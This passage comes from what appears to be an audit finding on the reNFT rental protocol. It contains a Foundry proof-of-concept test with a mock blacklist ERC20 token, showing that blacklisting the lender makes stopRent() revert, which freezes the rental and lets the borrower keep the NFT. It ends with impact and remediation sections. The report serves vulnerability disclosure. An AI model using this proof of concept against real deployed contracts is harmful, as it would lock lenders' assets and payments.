advancedOrders[i] = ordersToFulfill[i].advancedOrder; } } } contract SetupReNFT is OrderFulfiller {}
Exploit.sol
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import { ConsiderationItem, Order, FulfillmentComponent, Fulfillment, ItemType as SeaportItemType } from "@seaport-types/lib/ConsiderationStructs.sol"; import {ItemType} from "@seaport-types/lib/ConsiderationEnums.sol"; import {ConsiderationItemLib} from "@seaport-sol/SeaportSol.sol"; import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol"; import {Errors} from "@src/libraries/Errors.sol"; import {SetupReNFT} from "./SetupExploit.sol"; import {Assertions} from "@test/utils/Assertions.sol"; import {Constants} from "@test/utils/Constants.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {Enum} from "@safe-contracts/common/Enum.sol"; import "forge-std/console.sol"; contract Exploit is SetupReNFT, Assertions, Constants { using ConsiderationItemLib for ConsiderationItem; function test_BlacklistERC20Exploit() public { /** -------- Create a mock ERC20 token with blacklists -------- */ BlacklistERC20 blacklistERC20 = new BlacklistERC20(10000000); // Give bob (the borrower) 10,000 tokens. blacklistERC20.mint(bob.addr, 10000); // Bob approves seaport conduit to spend 10k tokens on behalf of him. vm.prank(bob.addr); blacklistERC20.approve(address(conduit), 10000); /** -------- Create an order with the mock blacklist token as a payment method -------- */ createOrder({ offerer: alice, orderType: OrderType.BASE, erc721Offers: 1, erc1155Offers: 0, erc20Offers: 0, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: 1 }); // Remove the pre-inserted consideration item (which is inserted by the tests) popConsiderationItem(); // Set the mock blacklist erc20 token as the consideration item withConsiderationItem( ConsiderationItemLib .empty() .withRecipient(address(ESCRW)) .withItemType(ItemType.ERC20) .withToken(address(blacklistERC20)) .withStartAmount(10000) .withEndAmount(10000) ); // Finalize the order creation ( Order memory order, bytes32 orderHash, OrderMetadata memory metadata ) = finalizeOrder(); // create an order fulfillment createOrderFulfillment({ _fulfiller: bob, order: order, orderHash: orderHash, metadata: metadata }); // finalize the base order fulfillment RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment(); // get the rental order hash bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder); // assert that the rental order was stored assertEq(STORE.orders(rentalOrderHash), true); // assert that the token is in storage assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true); /** -------------- Ensure everything is correct -------------- */ // assert that the fulfiller made a payment assertEq(blacklistERC20.balanceOf(bob.addr), uint256(0)); // assert that a payment was made to the escrow contract assertEq(blacklistERC20.balanceOf(address(ESCRW)), uint256(10000)); // assert that a payment was synced properly in the escrow contract assertEq(ESCRW.balanceOf(address(blacklistERC20)), uint256(10000)); // assert that the ERC721 is in the rental wallet of the fulfiller assertEq(erc721s[0].ownerOf(0), address(bob.safe)); /** -------------- Simulate the lender's address being blocked in the blacklist ERC20 token -------------- */ blacklistERC20.addAddressToBlacklist(alice.addr); /** -------------- The lender (alice) tries to stop rental after time has elapsed, but fails. -------------- */ // Speed up in time past the rental expiration. vm.warp(block.timestamp + 75000); // Now Alice will try to stop the rental but will fail. vm.prank(alice.addr); // We expect the `stopRent()` call to revert. vm.expectRevert( abi.encodeWithSelector( Errors.PaymentEscrowModule_PaymentTransferFailed.selector, address(blacklistERC20), alice.addr, 10000 ) ); stop.stopRent(rentalOrder); } } contract BlacklistERC20 { string public constant name = "BlacklistERC20"; string public constant symbol = "BSC"; uint8 public constant decimals = 18; address public admin; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); error AddressIsBlacklisted(address blacklistedAddr); mapping(address => bool) blacklist; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 totalSupply_; constructor(uint256 total) { totalSupply_ = total; balances[msg.sender] = totalSupply_; admin = msg.sender; } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public view returns (uint) { return balances[tokenOwner]; } function mint(address addr, uint256 amount) external onlyAdmin { balances[addr] += amount; } function transfer(address receiver, uint numTokens) public returns (bool) { if (blacklist[msg.sender]) { revert AddressIsBlacklisted(msg.sender); } else if (blacklist[receiver]) { revert AddressIsBlacklisted(receiver); } require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender] - numTokens; balances[receiver] = balances[receiver] + numTokens; emit Transfer(msg.sender, receiver, numTokens); return true; } function approve(address delegate, uint numTokens) public returns (bool) { if (blacklist[msg.sender]) { revert AddressIsBlacklisted(msg.sender); } allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public view returns (uint) { return allowed[owner][delegate]; } function transferFrom(address owner, address buyer, uint numTokens) public returns (bool) { if (blacklist[owner] || blacklist[buyer]) { revert AddressIsBlacklisted(owner); } require(numTokens <= balances[owner]); require(numTokens <= allowed[owner][msg.sender]); balances[owner] = balances[owner] - numTokens; allowed[owner][msg.sender] = allowed[owner][msg.sender] - numTokens; balances[buyer] = balances[buyer] + numTokens; emit Transfer(owner, buyer, numTokens); return true; } function addAddressToBlacklist(address addrToBlacklist) external onlyAdmin { blacklist[addrToBlacklist] = true; } function removeAddressToBlacklist(address addrToUnblock) external onlyAdmin { blacklist[addrToUnblock] = false; } modifier onlyAdmin { require(admin == msg.sender); _; } }
Impact
The rental will be permanently frozen. The borrower will get to keep the NFT he borrowed from the lender forever, and the lender won't even be able to get the funds he should have received in return for renting the NFT to the borrower.
Remediation
Let the lender specify an address he wants to receive the ERC20 tokens at, when he tries to stop the rental.
Assessed type
Access Control